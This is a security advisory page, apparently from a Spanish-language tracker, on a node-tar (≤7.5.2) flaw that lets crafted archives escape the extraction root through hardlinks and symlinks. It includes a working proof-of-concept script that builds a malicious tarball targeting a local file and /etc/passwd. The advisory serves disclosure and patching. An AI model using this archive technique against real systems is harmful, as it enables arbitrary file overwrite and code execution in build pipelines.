GHSA-8QQ5-RM4J-MR97
node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-8QQ5-RM4J-MR97 divulgada | |
| Remediación | Parche 7.5.3 | tar · 0 d desde divulgación | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.
Details
The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.
1. Hardlink Escape (Arbitrary File Overwrite)
The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an absolute path, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
2. Symlink Poisoning
The extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.
PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Impact
- Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
- Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmtar |
Corregida | 7.5.3 | 0 d | 7.5.23 no afectada |
7.5.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-23745https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405ehttps://github.com/isaacs/node-tarLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
